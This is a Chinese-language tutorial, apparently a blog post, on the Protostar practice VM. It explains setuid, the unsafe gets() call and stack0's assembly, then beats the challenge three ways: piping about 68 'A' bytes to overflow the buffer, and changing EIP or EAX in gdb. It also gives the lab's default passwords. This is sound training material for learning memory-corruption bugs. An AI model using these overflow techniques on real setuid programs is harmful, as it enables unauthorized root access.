二进制安全虚拟机Protostar靶场 安装,基础知识讲解,破解STACK ZERO

在这里插入图片描述

简介

pwn是ctf比赛的方向之一,也是门槛最高的,学pwn前需要很多知识,这里建议先去在某宝上买一本汇编语言第四版,看完之后学一下python和c语言,python推荐看油管FreeCodeCamp的教程,c语言也是

pwn题目大部分是破解在远程服务器上运行的二进制文件,利用二进制文件中的漏洞来获得对系统的访问权限

这是一个入门pwn很好的靶场,这个靶场包括了:

网络编程
处理套接字
栈溢出
格式化字符串
堆溢出
写入shellcode

下载地址:

https://exploit.education/downloads/

在这里插入图片描述

实验环境部署

Protostar靶机下载地址:https://exploit.education/protostar/
windoows的ssh连接软件:https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html

下载完Protostar的镜像文件后,将其安装到vmware上,然后打开

账号为user,密码user
如何切换到root权限:进入user用户然后 su root 密码为godmod

ssh远程连接
在这里插入图片描述
输入IP后点击打开,输入账号密码,然后输入/bin/bash,更换为可以补全字符串的shell
在这里插入图片描述

在网站的Protostar靶机的介绍处,我们要破解的题目存放在这个目录下

/opt/protostar/bin

我们进入这个目录,详细查看文件

ls -al

在这里插入图片描述
发现文件都是红色的,我们详细的查看文件

flie stack0

在这里插入图片描述
这是一个32位的setuid程序

setuid

什么是setuid?

setuid代表设置用户身份,并且setuid设置调用进程的有效用户ID,用户运行程序的uid与调用进程的真实uid不匹配

这么说起来有点绕,我们来举一个例子

一个要以root权限运行的程序,但我们想让普通用户也能运行它,但又要防止该程序被攻击者利用,这里就需要用的setuid了

演示
我们用user用户运行一个vim
然后新开一个窗口查看后台进程

ps -aux

在这里插入图片描述
这里可以看到,我们的vim正在以user的权限运行中,然后我们去执行一下靶机上的setuid文件看看
在这里插入图片描述
这里可以看到,我们虽然是user用户,但执行文件后,文件正以root权限运行
我们查看文件的权限
在这里插入图片描述
r代表读,w代表写,x代表执行,那s是什么呢

s替换了以x的可执行文件,这被称为setuid位,根据刚刚的操作,应该知道了s是做什么的

当这个位被user权限的用户执行时,linux实际上是以文件的创造者的权限运行的,在这种情况下,它是以root权限运行的
我们的目标就是,破解这些文件然后拿到root权限

STACK ZERO程序源代码分析

在这里插入图片描述

我们破解一个简单的题,通过分析汇编语言,以及相关的知识,来带大家进一步了解程序是如何运行的以及如何破解的

题目的源代码:https://exploit.education/protostar/stack-zero/

题目详情:这个级别介绍了内存可以在其分配区域之外访问的概念,堆栈变量的布局方式,以及在分配的内存之外进行修改可以修改程序执行。
在这里插入图片描述
分析源代码,这是由c语言写成的程序,

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>int main(int argc, char **argv)
{volatile int modified;          //定义一个变量char buffer[64];           //给buffer变量定义数组,c语言中一个字符数就是一个字符串modified = 0;            //modified变量=0gets(buffer);             //获取我们的输入,赋予到buffer变量里if(modified != 0) {               //如果modified不等于0printf("you have changed the 'modified' variable\n");                //打印'成功改变modified变量'字符串} else {                        //否则printf("Try again?\n");                   //打印'再试一次'}
}

很明显,我们要使if语句成功判断,打印成功改变变量的字符串,关于如何破解程序,获取root权限,我会在下一篇文章中介绍

gets函数漏洞分析

在gets函数的官方文档里,有这么一句话
在这里插入图片描述
永远不要使用gets函数,因为如果事先不知道数据,就无法判断gets将读取多少个字符,因为gets将继续存储字符当超过缓冲区的末端时,使用它是极其危险的,它会破坏计算机安全,请改用fgets。

汇编分析

我们使用gdb打开程序进行进一步的分析

gdb /opt/protostar/bin/stack0

在这里插入图片描述
然后我们查看程序的汇编代码,来了解程序的堆栈是如何工作的

set disassembly-flavor intel 参数让汇报代码美观一点
disassemble main  显示所有的汇编程序指令

在这里插入图片描述

0x080483f4 <main+0>:    push   ebp
0x080483f5 <main+1>:    mov    ebp,esp
0x080483f7 <main+3>:    and    esp,0xfffffff0
0x080483fa <main+6>:    sub    esp,0x60
0x080483fd <main+9>:    mov    DWORD PTR [esp+0x5c],0x0
0x08048405 <main+17>:   lea    eax,[esp+0x1c]
0x08048409 <main+21>:   mov    DWORD PTR [esp],eax
0x0804840c <main+24>:   call   0x804830c <gets@plt>
0x08048411 <main+29>:   mov    eax,DWORD PTR [esp+0x5c]
0x08048415 <main+33>:   test   eax,eax
0x08048417 <main+35>:   je     0x8048427 <main+51>
0x08048419 <main+37>:   mov    DWORD PTR [esp],0x8048500
0x08048420 <main+44>:   call   0x804832c <puts@plt>
0x08048425 <main+49>:   jmp    0x8048433 <main+63>
0x08048427 <main+51>:   mov    DWORD PTR [esp],0x8048529
0x0804842e <main+58>:   call   0x804832c <puts@plt>
0x08048433 <main+63>:   leave
0x08048434 <main+64>:   ret
End of assembler dump.
0x080483f4 <main+0>:    push   ebp

第一条是将ebp推入栈中,ebp是cpu的一个寄存器,它包含一个地址,指向堆栈中的某个位置,它存放着栈底的地址,在因特尔的指令参考官方资料中,可以看到,mov esp、ebp和pop ebp是函数的开始和结束
https://www.intel.de/content/dam/www/public/us/en/documents/manuals/64-ia-32-architectures-software-developer-instruction-set-reference-manual-325383.pdf
在这里插入图片描述
在这个程序中,最初操作是将ebp推入栈中,然后把esp的值放入ebp中,而当函数结束时执行了leave操作

0x08048433 <main+63>:   leave
leave:
mov esp,ebp
pop ebp

可以看到,程序开头和结尾的操作都是对称的
之后执行了如下操作

0x080483f7 <main+3>:    and    esp,0xfffffff0

AND 指令可以清除一个操作数中的 1 个位或多个位,同时又不影响其他位。这个技术就称为位屏蔽,就像在粉刷房子时,用遮盖胶带把不用粉刷的地方(如窗户)盖起来,在这里,它隐藏了esp的地址

0x080483fa <main+6>:    sub    esp,0x60

然后esp减去十六进制的60

0x080483fd <main+9>:    mov    DWORD PTR [esp+0x5c],0x0

在内存移动的位置为0,在堆栈上的偏移为0x5c
段地址+偏移地址=物理地址
举一个例子,你从家到学校有2000米,这2000米就是物理地址,你从家到医院有1500米,离学校还要500米,这剩下的500米就是偏移地址
这里推荐大家看一下《汇编语言》这本书,在这本书里有很多关于计算机底层的相关知识

0x08048405 <main+17>:   lea    eax,[esp+0x1c]
0x08048409 <main+21>:   mov    DWORD PTR [esp],eax
0x0804840c <main+24>:   call   0x804830c <gets@plt>

lea操作是取有效地址,也就是取esp地址+偏移地址0x1c处的堆栈
然后DWORD PTR要取eax的地址到esp中
调用gets函数

0x08048411 <main+29>:   mov    eax,DWORD PTR [esp+0x5c]
0x08048415 <main+33>:   test   eax,eax

然后对比之前设置的值,0,用test来检查

0x08048417 <main+35>:   je     0x8048427 <main+51>
0x08048419 <main+37>:   mov    DWORD PTR [esp],0x8048500
0x08048420 <main+44>:   call   0x804832c <puts@plt>
0x08048425 <main+49>:   jmp    0x8048433 <main+63>
0x08048427 <main+51>:   mov    DWORD PTR [esp],0x8048529
0x0804842e <main+58>:   call   0x804832c <puts@plt>

这些就是if循环的操作了

实战演示

方法一:溢出

0x080483f4 <main+0>:    push   ebp
0x080483f5 <main+1>:    mov    ebp,esp
0x080483f7 <main+3>:    and    esp,0xfffffff0
0x080483fa <main+6>:    sub    esp,0x60
0x080483fd <main+9>:    mov    DWORD PTR [esp+0x5c],0x0
0x08048405 <main+17>:   lea    eax,[esp+0x1c]
0x08048409 <main+21>:   mov    DWORD PTR [esp],eax
0x0804840c <main+24>:   call   0x804830c <gets@plt>
0x08048411 <main+29>:   mov    eax,DWORD PTR [esp+0x5c]
0x08048415 <main+33>:   test   eax,eax
0x08048417 <main+35>:   je     0x8048427 <main+51>
0x08048419 <main+37>:   mov    DWORD PTR [esp],0x8048500
0x08048420 <main+44>:   call   0x804832c <puts@plt>
0x08048425 <main+49>:   jmp    0x8048433 <main+63>
0x08048427 <main+51>:   mov    DWORD PTR [esp],0x8048529
0x0804842e <main+58>:   call   0x804832c <puts@plt>
0x08048433 <main+63>:   leave
0x08048434 <main+64>:   ret
End of assembler dump.

我们先在gets函数地址下一个断点,这样程序在运行到这个地址时会停止继续运行下一步操作。

断点意思就是让程序执行到此“停住”,不再往下执行
b *0x0804840c

然后在调用gets函数后下一个断点,来看我们输入的字符串在哪里

b *0x08048411

在这里插入图片描述
然后设置

define hook-stop

这个工具可以帮助我们在每一步操作停下来后,自动的运行我们设置的命令

info registers   //显示寄存器里的地址
x/24wx $esp      //显示esp寄存器里的内容
x/2i $eip        //显示eip寄存器里的内容
end              //结束

在这里插入图片描述
然后我们输入run运行程序到第一个断点

r

在这里插入图片描述
现在我们马上就要执行gets函数了,输入n执行gets函数

n    //next

我们随意输入一些内容,按下回车键
在这里插入图片描述
在这里插入图片描述
可以看到,0x41是A的ascii码,我们距离0x0000000还有一段距离

x/wx $esp+0x5c            //查看esp地址+0x5c偏移地址的内容

在这里插入图片描述
算了一下,我们需要68个字符才能覆盖
输入q退出gdb
然后使用echo或者python对程序进行输入

echo 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' | /opt/protostar/bin/stack0
python -c 'print "A"*(4+16*3+14)' | /opt/protostar/bin/stack0

在这里插入图片描述
可以看到,我们已经成功打印出了正确的字符

方式二:更改eip寄存器的值

寄存器的功能是存储二进制代码,不同的寄存器有不同的作用,这里,我们要认识一个很重要的寄存器,他叫做EIP,在64位程序里叫做RIP,他是程序的指针,指针就是寻找地址的,指到什么地址,就会运行该地址的参数,控制了这个指针,就能控制整个程序的运行
重新打开程序,由于我们可以控制eip寄存器,随便在哪下一个断点都行,我这里在程序头下一个断点

 b *main

运行程序到断点处

r

查看所有寄存器的值

info registers

在这里插入图片描述

我打的断点地址为0x80483fd而eip寄存器的值也是0x80483fd
查看程序汇编代码
在这里插入图片描述
如果我们输入的值和程序设置的值不一样,就会跳转到0x8048427这个位置,然后输出try again,也就是破解失败,所以我们将eip寄存器的值修改成0x8048419,下一个地址调用了put函数,输出的是you have changed the ‘modified’ variable也就是破解成功了
现在我们修改eip寄存器的值

set $eip=0x8048419

修改后再次查看所有寄存器里的值,可以看到,现在eip指向了我们指定的地址
在这里插入图片描述

n //执行下一个地址

在这里插入图片描述

破解成功

方式三:修改eax寄存器的值

在这里插入图片描述

最直接的方法是改变对比的值,使eax寄存器的值为不等于0,因为程序源代码逻辑为不等于0后才会输出正确的提示字符you have changed the ‘modified’ variable
在这里插入图片描述

在对比的地方下一个断点

b *0x08048415

运行程序

r

查看所有寄存器里的值
在这里插入图片描述
修改eax寄存器里的值

set $eax = 1

在这里插入图片描述

然后继续运行程序

在这里插入图片描述

破解成功

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/65098.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

SpringBoot 使用MyBatis分页插件实现分页功能

SpringBoot 使用MyBatis分页插件实现分页功能 1、集成pagehelper2、配置pagehelper3、编写代码4、分页效果 案例地址&#xff1a; https://gitee.com/vinci99/paging-pagehelper-demo/tree/master 1、集成pagehelper <!-- 集成pagehelper --> <dependency><gr…

“亚马逊云科技创业加速器”首期聚焦AI,促进入营企业业务发展

生成式AI技术飞速发展&#xff0c;颠覆着人们的生活&#xff0c;正在掀起新一轮的科技革命。在生成式AI的浪潮中&#xff0c;亚马逊云科技旨在为中国的优秀初创企业提供全方位支持&#xff0c;助其抢占先机。 在6月底举办的亚马逊云科技中国峰会上&#xff0c;亚马逊云科技联合…

6. series对象及DataFrame对象知识总结

【目录】 文章目录 6. series对象及DataFrame对象知识总结1. 导入pandas库2. pd.Series创建Series对象2.1 data 列表2.2 data 字典 3. s1.index获取索引4. s1.value获取值5. pd.DataFrame()-创建DataFrame 对象5.1 data 列表5.2 data 嵌套列表5.3 data 字典 6. df[列索引]…

java对象创建的过程

1、检查指令的参数是否能在常量池中定位到一个类的符号引用 2、检查此符号引用代表的类是否已被加载、解析和初始化过。如果没有&#xff0c;就先执行相应的类加载过程 3、类加载检查通过后&#xff0c;接下来虚拟机将为新生对象分配内存。 4、内存分配完成之后&#xff0c;…

一句话画出动漫效果

链接&#xff1a; AI Comic Factory - a Hugging Face Space by jbilcke-hfDiscover amazing ML apps made by the communityhttps://huggingface.co/spaces/jbilcke-hf/ai-comic-factory 选择类型&#xff1a; Japanese 输入提示词&#xff1a; beauty and school love st…

12、监测数据采集物联网应用开发步骤(9.1)

监测数据采集物联网应用开发步骤(8.2) TCP/IP Server开发 在com.zxy.common.Com_Para.py中添加如下内容 #锁机制 lock threading.Lock() #本机服务端端口已被连接客户端socket list dServThreadList {} #作为服务端接收数据拦截器 ServerREFLECT_IN_CLASS "com.plug…

设计模式-装饰模式

文章目录 一、简介二、基本概念三、装饰模式的结构和实现类图解析&#xff1a;装饰器的实现方式继承实现&#xff1a;组合实现&#xff1a;继承和组合对比 四、装饰模式的应用场景五、与其他模式的关系六、总结 一、简介 装饰模式是一种结构型设计模式&#xff0c;它允许动态地…

msvcp120.dll丢失的解决方法?全面解决方法推荐

msvcp120.dll是Windows操作系统中的一个关键组件&#xff0c;如果丢失或损坏&#xff0c;可能会导致系统崩溃或无法正常运行。本文将介绍三种解决msvcp120.dll丢失问题的方法。 随着计算机应用的广泛普及&#xff0c;越来越多的人开始遇到各种电脑问题。其中&#xff0c;msvcp…

FPGA原理与结构——FIFO IP核的使用与测试

一、前言 本文介绍FIFO Generator v13.2 IP核的具体使用与例化&#xff0c;在学习一个IP核的使用之前&#xff0c;首先需要对于IP核的具体参数和原理有一个基本的了解&#xff0c;具体可以参考&#xff1a; FPGA原理与结构——FIFO IP核原理学习https://blog.csdn.net/apple_5…

算法通关村第十二关——字符串反转问题解析

前言 字符串反转是关于字符串算法里的重要问题&#xff0c;虽然不是太难&#xff0c;但需要考虑到一些边界问题。本篇文章就对几道字符串反转题目进行分析。 1.反转字符串 力扣344题&#xff0c;编写一个函数&#xff0c;其作用是将输入的字符串反转过来。输入字符串以字符数…

亚马逊云科技生成式AI技术辅助教学领域,近实时智能应答2D数字人搭建

早在大语言模型如GPT-3.5等的兴起和被日渐广泛的采用之前&#xff0c;教育行业已经在AI辅助教学领域有过各种各样的尝试。在教育行业&#xff0c;人工智能技术的采用帮助教育行业更好地实现教学目标&#xff0c;提高教学质量、学习效率、学习体验、学习成果。例如&#xff0c;人…

应用案例 | 基于三维机器视觉的机器人麻袋拆垛应用解决方案

​Part.1 项目背景 在现代物流和制造行业中&#xff0c;麻袋的拆垛操作是一个重要且频繁的任务。传统的麻袋拆垛工作通常由人工完成&#xff0c;分拣效率较低&#xff0c;人力成本较高&#xff0c;现场麻袋堆叠、变形严重&#xff0c;垛型不规则、不固定&#xff0c;严重影响分…

(2023|PAMI,diffusion 综述)视觉扩散模型

Diffusion models in vision: A survey 公众号&#xff1a;EDPJ&#xff08;添加 VX&#xff1a;CV_EDPJ 进交流群&#xff09; 目录 0. 摘要 1. 简介 2. 通用框架 2.1 去噪扩散概率模型&#xff08;DDPMs&#xff09; 2.2 噪声条件评分网络&#xff08;NCSNs&#xff0…

b站手机缓存文件转MP4

b站缓存的文件 音频、视频、弹幕是分开的 这里我只用到了音频和视频所以只介绍这一部分 b站的缓存视频文件和路径结构如下 默认缓存路径 内部存储\Android\data\tv.danmaku.bilil\download\89720189 文件夹结构 文件夹 c_738583 这是单个视频的缓存文件夹 进入c_738583文件夹…

10. selenium API (二)

目录 1. 多层框架/窗口定位 2. 下拉框处理 2.1 前端界面 2.2 代码 3. 针对 alert 弹窗进行操作 3.1 前端界面 3.2 代码 4. 文件提交 4.1 前端界面 4.2 代码 5. 显示等待 6. 操作浏览器滚动条 7. 截图 8. 浏览器关闭 9. 窗口切换 在上篇文章中&#xff0c;我们学…

day27 String类 正则表达式

String类的getBytes方法 String s "腻害"; byte[] bytes s.getBytes(StandardCharsets.UTF_8); String类的new String方法 String ss "ss我的"; byte[] gbks ss.getBytes("gbk"); String gbk new String(gbks, "gbk"); String类的…

交换机端口安全实验

文章目录 一、实验的背景与目的二、实验拓扑三、实验需求四、实验解法1. PC配置IP地址部分2. 在SW1上开启802.1X身份验证3. 创建一个用户身份验证的用户。用户名为wangdaye&#xff0c;密码为1234564.创建一个端口隔离组&#xff0c;实现三台PC无法互相访问 摘要&#xff1a; 本…

Kubernetes技术--使用kubeadm快速部署一个K8s集群

这里我们配置一个单master集群。(一个Master节点,多个Node节点) 1.硬件环境准备 一台或多台机器,操作系统 CentOS7.x-86_x64。这里我们使用安装了CentOS7的三台虚拟机 硬件配置:2GB或更多RAM,2个CPU或更多CPU,硬盘30GB或更多 2.主机名称和IP地址规划 3. 初始化准备工作…

【C++技能树】继承概念与解析

Halo&#xff0c;这里是Ppeua。平时主要更新C&#xff0c;数据结构算法&#xff0c;Linux与ROS…感兴趣就关注我bua&#xff01; 继承 0. 继承概念0.1 继承访问限定符 1. 基类和派生类对象赋值兼容转换2. 继承中的作用域3. 派生类中的默认成员函数4.友元5.继承中的静态成员6.菱…

创建性-构造者设计模式

前言 我们在使用Retrofit等这些第三方框架的时候&#xff0c;发现他们的使用都很方便&#xff0c;比如Retrofit retrofit new Retrofit.Builder().build()&#xff0c;和我们通常直接new一个对象不同&#xff0c;他是交给Builder类&#xff0c;通过build()函数来构造一个Retro…